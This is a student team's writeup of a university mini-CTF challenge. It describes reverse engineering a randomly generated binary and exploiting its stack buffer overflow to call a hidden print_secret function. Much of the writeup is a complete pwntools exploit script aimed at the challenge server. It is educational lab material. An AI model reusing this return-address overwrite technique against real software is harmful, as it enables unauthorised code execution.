Mini-CTF Writeup

Ole Heydt, 2573553
Phillip Baus, 2573268
Daniel Erceg, 2573390
Sophie Wenning, 2575668

General Information

Our challenge provides a binary which will be randomly generated at each connection and will last for a certain time. In order to retrieve the flag, one needs to first reverse engineer the binary to be able to exploit the underlying buffer overflow vulnerability.

Prerequisites

To be able to solve the challenge, you will need the following tools:

- Netcat
- Python3
- Pwntools
- strings or ltrace

Exploit scheme

Step 1

At first, one will need to connect to the server with netcat in order to get access to the binary and take a look at it's interactive behaviour. After this, we suggest to reverse it locally.

Step 2

One shall run the binary locally. This will make the reversing easier. First decode the base85 encoding to be able to do so.

Step 3

Start writing the exploit. At first, the program should decode the binary and write it to a file. This needs to be compiled and made executable.

Step 4

Next, one will need to get the secret inputs. This can be done using strings or ltrace. The secrets are located between the "Flag!!!" and the "Please" string. These will be feed as inputs to the binary.

Step 5

Next, the buffer overflow vulnerability can be exploited. Try different buffer lengths until a segfault is reached. Search the coredump file for the address at which the segfault happened and use cyclic_find() to get the buffer length. Pad the buffer and append the address of the secret function.

Step 6

Add sending functions. For step 1, the program needs to get a connection to retrieve the binary. It should ignore the server response until the "Mystery" string is reached. After this, the actual binary, which has to be caught, begins. In step 5, the point where the buffer starts need be be found. The program should send the guessed strings to the server. At this point, the buffer length can be determined. Finally, in the last step, the payload has to be send to retrieve the flag.

Step 7

We suggest to clean up a bit after the exploit, for example to remove the core-dump file ect.

Suggested code

```
from pwn import *
from base64 import b85decode
import os,stat
ip = "basalt.scy-phy.net"
port =1337
context.log_level = "WARNING"


def rolling():
    globals()
    p=remote(ip,port)
```

```
    p.recvuntil("Mystery:\n\n\n")
    enc=p.recvuntil("\n").strip()
    enc = b85decode(enc)
    try:
        bin=open("in","wb")
        bin.write(enc)
        bin.close()
        os.system("strings in > out")
        os.chmod("in", os.stat("./in").st_mode | stat.S_IEXEC)
        out=open("out","r")
        output=out.read()
        out.close()
    except:
        os.remove("in")
        os.remove("out")
    keys=(output.split("Flag!!!\n"))[1].split("Please")[0].split("\n")[:-1]
    print(keys)
    for x in range(len(keys)):
        p.recvuntil("secret "+str(x+1)+"\n")
        p.sendline(keys[x])
    e=ELF("./in")
    context.binary="./in"
    buffer = buff(preroll(keys))*b'A'
    load= p64(e.functions["print_secret"].address)
    payload = buffer + load
    p.sendline(payload)
    p.recvuntil("!!!")
    print(p.recvuntil("}"))
    os.remove("in")
    os.remove("out")
    os.remove("./core")

def preroll(keys):
    p=process("./in")
    for x in range(len(keys)):
        p.recvuntil("secret "+str(x+1)+"\n")
        p.sendline(keys[x])
    p.clean()
    return p

def buff(pr):
    try:
        os.remove("./core")
    except:
        pass
    buff = cyclic(1000,n=8)
```

```
    pr.sendline(buff)
    sleep(2)
    try:
        context.log_level = "ERROR"
        core = Coredump("./core")
        context.log_level = "WARNING"
    except:
        print("too small")
        exit(0)
    if p64(core.fault_addr) not in buff:
        print("tooo small")
        exit(0)
    else:
        context.log_level = "ERROR"
        fault=p64(core.fault_addr)
        tarBufLen = cyclic_find(fault, n=8)
        context.log_level = "WARNING"
        return tarBufLen

if __name__ == '__main__':
    rolling()
```